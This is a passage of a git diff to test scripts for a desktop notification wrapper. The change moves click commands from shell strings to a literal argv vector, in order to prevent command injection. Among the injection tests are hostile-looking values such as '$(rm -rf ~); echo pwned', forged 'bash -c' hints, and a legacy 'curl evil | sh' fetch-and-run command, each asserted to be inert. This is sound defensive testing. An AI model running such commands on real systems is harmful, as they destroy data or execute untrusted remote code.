mpv with -- before the path" - -spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4") -[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] || - fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd" -pass "yt-dlp native host shell-quotes the mpv path" +# The click action passes the path as a discrete --exec argument (asserted +# end-to-end below against the real download); `--` keeps mpv from parsing a +# leading-dash filename as an option. parse_script="$TMPDIR/parse-ytdlp-lines.sh" cat >"$parse_script" <<'EOF' diff --git a/test/shell.d/fingerprint-invitation-test.sh b/test/shell.d/fingerprint-invitation-test.sh index 09e7edd3..754cae2c 100644 --- a/test/shell.d/fingerprint-invitation-test.sh +++ b/test/shell.d/fingerprint-invitation-test.sh @@ -31,10 +31,12 @@ chmod +x "$test_bin/omarchy-hw-fingerprint" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/migrate-notify-test.sh b/test/shell.d/migrate-notify-test.sh index 8114e6d9..ef2008bd 100644 --- a/test/shell.d/migrate-notify-test.sh +++ b/test/shell.d/migrate-notify-test.sh @@ -160,6 +160,7 @@ run_notify 1 >/dev/null 2>&1 notify_args_written || fail "migration notifier sends the notification before exiting" grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null || fail "migration notifier attaches the click command to the toast" -grep -Fx 'omarchy-launch-floating-terminal-with-presentation omarchy-migrate' "$test_tmp/notify-args" >/dev/null || +grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null && + grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null || fail "migration notifier points the click command at omarchy-migrate" pass "migration notifier lets the shell own the click instead of waiting for it" diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index cec38cab..6a8f8a21 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -7,59 +7,193 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" tmpdir=$(mktemp -d) trap 'rm -rf "$tmpdir"' EXIT -stub="$tmpdir/notify-send" args_file="$tmpdir/args" +# Stub the D-Bus transport: record the Notify call verbatim and echo a returned +# id the way busctl prints a UINT32 return ("u "). printf '%s\n' \ '#!/bin/bash' \ - 'printf "%s\n" "$@" >"$OMARCHY_TEST_NOTIFY_ARGS"' \ - >"$stub" -chmod +x "$stub" + 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ + 'echo "u 42"' \ + >"$tmpdir/busctl" +chmod +x "$tmpdir/busctl" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \ - --exec "omarchy-menu-keybindings 'a b'" "Learn Keybindings" "Body" +# notify-send must never be used. If anything reaches for it, fail loudly. +printf '%s\n' '#!/bin/bash' 'echo "notify-send was invoked" >"$OMARCHY_TEST_NOTIFY_TRIPWIRE"; exit 3' \ + >"$tmpdir/notify-send" +chmod +x "$tmpdir/notify-send" +tripwire="$tmpdir/notify-send-was-used" -mapfile -t args <"$args_file" +send() { + OMARCHY_TEST_BUSCTL_ARGS="$args_file" OMARCHY_TEST_NOTIFY_TRIPWIRE="$tripwire" \ + PATH="$tmpdir:$ROOT/bin:$PATH" omarchy-notification-send "$@" +} -[[ ${args[0]} == "-a" ]] || fail "notification wrapper passes app flag" -[[ ${args[1]} == "custom-app" ]] || fail "notification wrapper uses custom app name" -[[ ${args[2]} == "-u" ]] || fail "notification wrapper passes urgency flag" -[[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" -[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" -[[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == "--hint=string:omarchy-exec:omarchy-menu-keybindings 'a b'" ]] || fail "notification wrapper converts exec to hint" -[[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" -[[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec options" +# Notify(susssasa{sv}i) args, by position in the recorded busctl argv: +# 0 --user 1 -- 2 call 3 dest 4 path 5 iface 6 Notify 7 signature +# 8 app_name 9 replaces_id 10 app_icon 11 summary 12 body +# 13 actions-count 14 hint-count 15.. hint triples last expire_timeout +declare -a args +load() { mapfile -t args <"$args_file"; } +hint_count() { echo "${args[14]}"; } +has_hint() { # key + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && return 0; done + return 1 +} +hint_value() { # key -> variant value + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && { echo "${args[i + 2]}"; return 0; }; done + return 1 +} -# The shell runs the click command itself, so nothing may block the sender on a -# libnotify action round-trip. -grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" +# ---------------------------------------------------------------- happy path +send --app-name custom-app -g K -u critical -i battery-caution -t 5000 \ + "Download complete" "A body" --exec mpv -- "/tmp/a b.mp4" +load +[[ ${args[2]} == "call" ]] || fail "notification wrapper calls a bus method" +[[ ${args[3]} == "org.freedesktop.Notifications" ]] || fail "notification wrapper targets the notifications service" +[[ ${args[6]} == "Notify" ]] || fail "notification wrapper invokes Notify" +[[ ${args[8]} == "custom-app" ]] || fail "notification wrapper sets the app name" "${args[8]}" +[[ ${args[10]} == "battery-caution" ]] || fail "notification wrapper sets the app icon from -i" "${args[10]}" +[[ ${args[11]} == "Download complete" ]] || fail "notification wrapper sets the summary" "${args[11]}" +[[ ${args[12]} == "A body" ]] || fail "notification wrapper sets the body" "${args[12]}" +[[ ${args[-1]} == "5000" ]] || fail "notification wrapper sets the expire timeout from -t" "${args[-1]}" +[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper maps critical urgency to 2" +[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper sets the glyph hint" +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/a b.mp4"]' ]] || fail "notification wrapper builds the click argv hint" "$(hint_value omarchy-exec-argv)" +pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, and click argv" + +[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" +pass "notification wrapper never invokes notify-send" + +# Replace-in-place: -p prints the returned id, -r reuses it (the display text +# size toast refreshes one notification instead of stacking a pile). +returned_id=$(send "Restart Foot" -p) +[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id" : >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Received photo.png" "Saved to ~/Downloads" -u critical -g K +send -r 42 "Restart Foot" >/dev/null +load +[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}" +pass "notification wrapper supports -p (print id) and -r (replace id)" -mapfile -t args <"$args_file" - -[[ ${args[2]} == "-u" && ${args[3]} == "critical" ]] || - fail "notification wrapper reads an urgency that follows the description" "$(printf '%s ' "${args[@]}")" -(( $(grep -cFx -- "-u" "$args_file") == 1 )) || - fail "notification wrapper sets the urgency once" "$(printf '%s ' "${args[@]}")" -[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || - fail "notification wrapper reads a glyph that follows the description" "$(printf '%s ' "${args[@]}")" +# Options may follow the headline and description (Taildrop appends -u critical +# and -g after the two positionals); they still land on the call, and urgency +# stays a single hint rather than doubling. +: >"$args_file" +send "Received photo.png" "Saved to ~/Downloads" -u critical -g K >/dev/null +load +[[ ${args[11]} == "Received photo.png" ]] || fail "notification wrapper keeps the summary before trailing options" "${args[11]}" +[[ ${args[12]} == "Saved to ~/Downloads" ]] || fail "notification wrapper keeps the body before trailing options" "${args[12]}" +[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper reads an urgency that follows the description" "$(hint_value urgency)" +[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper reads a glyph that follows the description" +urgency_hits=0 +for ((i = 15; i < 15 + 3 * ${args[14]}; i += 3)); do [[ ${args[i]} == urgency ]] && urgency_hits=$((urgency_hits + 1)); done +((urgency_hits == 1)) || fail "notification wrapper sets the urgency once" "$urgency_hits" pass "notification wrapper reads options that follow the headline and description" +# The --flag=value form works too (the acceptance suite uses --expire-time=15000). : >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Plain" >/dev/null +send "Acceptance" "Body" --expire-time=15000 >/dev/null +load +[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}" +[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}" +pass "notification wrapper accepts the --flag=value form" -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" -pass "notification wrapper omits the exec hint when no command is given" +# ---------------------------------------------------------------- no click cmd +: >"$args_file" +send "Plain" >/dev/null +load +has_hint omarchy-exec-argv && fail "notification wrapper adds no click hint without --exec" +[[ ${args[11]} == "Plain" ]] || fail "notification wrapper still sends a plain toast" +pass "notification wrapper omits the click hint when no command is given" -if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Headline" --exec 2>/dev/null; then - fail "notification wrapper rejects --exec without a command" +# ------------------------------------------------ rest-of-line --exec is literal +: >"$args_file" +send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null +load +json=$(hint_value omarchy-exec-argv) +[[ $(jq -r '.[0]' <<<"$json") == "mpv" ]] || fail "click argv program is first" +[[ $(jq -r '.[2]' <<<"$json") == '$(rm -rf ~); echo pwned' ]] || fail "click argv carries metacharacters as literal data" "$json" +pass "rest-of-line --exec is a literal argv vector" + +# A quoted argument with spaces stays ONE argument. +: >"$args_file" +send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null +load +[[ $(jq 'length' <<<"$(hint_value omarchy-exec-argv)") == 3 ]] || fail "spaced path stays one argument" +pass "notification wrapper keeps a spaced argument intact" + +# ---------------------------------------------------------------- injections +# A forged click hint arriving as the SUMMARY is a typed string parameter — it +# can never become a hint. Only urgency is set; no click command exists. +: >"$args_file" +send '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' "body" >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click command" +[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" +pass "a forged click hint in the headline is inert summary text" + +# A forged hint in description position is inert body text — a typed D-Bus +# parameter that can never become a hint — not a click command. +: >"$args_file" +send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command" +[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}" +pass "a forged click hint in the description is inert body text" + +# A forged hint that reaches the trailing option position is refused: an unknown +# option is a hard error, not a silent pass-through. +if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then + fail "a forged hint in option position must be refused" fi -pass "notification wrapper rejects --exec without a command" +if send "Head" "Body" --bogus 2>/dev/null; then + fail "notification wrapper rejects an unknown option" +fi +pass "notification wrapper rejects an unknown option (including a forged hint in option position)" + +# ---------------------------------------------------------------- --exec guards +# --exec is recognized only after the positionals: a headline literally "--exec" +# is text, and the real trailing --exec still wins. +: >"$args_file" +send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null +load +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/v.mp4"]' ]] || fail "a --exec-looking headline is not the delimiter" "$(hint_value omarchy-exec-argv)" +[[ ${args[11]} == "--exec" ]] || fail "a --exec-looking headline is kept as text" +pass "a --exec-looking positional is not treated as the delimiter" + +# A single quoted whole-command is rejected (splitting it ourselves is the +# injection we avoid). +if send "Head" --exec "omarchy toggle something" 2>/dev/null; then + fail "notification wrapper rejects a quoted whole command" +fi +pass "notification wrapper rejects a single quoted whole command" + +# --exec with nothing after it is a usage error. +if send "Head" --exec 2>/dev/null; then + fail "notification wrapper rejects --exec with no command" +fi +pass "notification wrapper rejects --exec with no command" + +# --exec with a single empty argument is rejected too. +if send "Head" --exec "" 2>/dev/null; then + fail "notification wrapper rejects --exec with an empty program" +fi +pass "notification wrapper rejects --exec with an empty program" + +# A description that begins with a dash is content, not options: a price, a +# negative number, a diff line. It must reach the body, not error out. +: >"$args_file" +send "Sale" "-50% off today" >/dev/null +load +[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}" +pass "notification wrapper keeps a dash-leading description as the body" + +# But a known flag in the description slot is still an option, not the body. +: >"$args_file" +send "Timed" -t 3000 >/dev/null +load +[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}" +pass "notification wrapper still treats a known flag after the headline as an option" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 49a4bcd2..58a4e32a 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND') assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps') +// The click action's argv form: parsed from the persisted omarchy-exec-argv +// JSON only when it is a non-empty array of strings whose program is present +// and not a leading-dash option. Everything else fails closed so a malformed or +// hostile hint can never fall through to a shell. +assertDeepEqual( + notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'), + ['mpv', '--', '/home/me/a b.mp4'], + 'notifications parse a valid exec argv vector' +) +assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint') +assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint') +assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array') +assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array') +assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv') +assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv') +assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv') + +// The argv vector rides on the snapshot as the raw JSON string, so the model's +// value comparison stays a plain string compare and the file round-trip is +// lossless. +const execSnapshot = notifications.snapshotOf({ + id: 3, + appName: 'omarchy-action', + summary: 'Download complete', + hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' } +}, 1) +assertEqual( + execSnapshot.execArgv, + '["mpv","--","/tmp/clip.mp4"]', + 'notifications carry the exec argv hint onto the snapshot' +) + assertDeepEqual( notifications.popupPlacement('top', 32, 6), { @@ -353,38 +385,46 @@ assertEqual( 'notifications omit the deadline field until a restore sets it' ) -// A click action carried as a command is the only kind that survives a shell +// The click action (an argv vector) is the only kind that survives a shell // restart: a libnotify action leaves its sender waiting on an id from a server // generation that no longer exists. assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec, - 'omarchy-menu-keybindings', - 'notifications capture the click command from the exec hint' -) -assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec, + notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv, '', - 'notifications leave the click command empty without an exec hint' + 'notifications leave the click command empty without an exec argv hint' ) assertEqual( notifications.popupEntry( - JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)), + JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)), 1 - ).exec, - "mpv '/tmp/a b.mp4'", - 'notifications round-trip the click command through popup files' + ).execArgv, + '["mpv","--","/tmp/a b.mp4"]', + 'notifications round-trip the click argv through popup files' ) assertEqual( - notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec, + notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv, '', 'notifications restore an empty click command for popups without one' ) assertEqual( - notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec, - 'xdg-open /tmp/received', - 'notifications keep the click command on history rows' + notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv, + '["xdg-open","/tmp/received"]', + 'notifications keep the click argv on history rows' ) +// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its +// click action as an `exec` shell string. After the update-triggered shell +// restart the new shell only honors execArgv, so a restored legacy popup keeps +// displaying but its click is inert — deliberately, because splitting the old +// shell string back into a command is exactly the injection being removed. +const legacyRestored = notifications.parsePopupFiles( + JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }), + 1 +)[0] +assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv') +assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field') +assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action') + const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') assert( /readonly property int historyLimit: 10/.test(serviceQml), @@ -527,8 +567,8 @@ assert( 'notifications service delimits every popup file during restore' ) assert( - /var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml), - 'notifications service runs the popup click command itself instead of a libnotify action' + /parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml), + 'notifications service runs the popup click argv itself instead of a libnotify action' ) assert( /function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml), diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index 7878a188..93ec4da3 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -67,11 +67,12 @@ pass "taildrop receive announces other files with a glyph" # The shell keeps the click command with the toast, so receiving does not have # to sit blocked on an answer -- and the toast still opens the file after a shell -# restart. Names with spaces have to arrive quoted for the shell to run them. +# restart. The path rides as its own discrete --exec argument, so the shell runs +# it as literal data with no quoting for a name with spaces to get wrong. grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" || fail "taildrop receive attaches the open command to the notification" "$notifications" -grep -qF -- "--exec xdg-open $(printf %q "$downloads/notes with space.pdf")" <<<"$notifications" || - fail "taildrop receive quotes spaced names in the open command" "$notifications" +grep -qF -- "--exec xdg-open $downloads/notes with space.pdf" <<<"$notifications" || + fail "taildrop receive carries spaced names as a literal open argument" "$notifications" pass "taildrop receive lets a click open the received file" grep -q "unrelated.txt" <<<"$notifications" && diff --git a/test/shell.d/voxtype-invitation-test.sh b/test/shell.d/voxtype-invitation-test.sh index b3eabb43..2c6efd07 100644 --- a/test/shell.d/voxtype-invitation-test.sh +++ b/test/shell.d/voxtype-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send"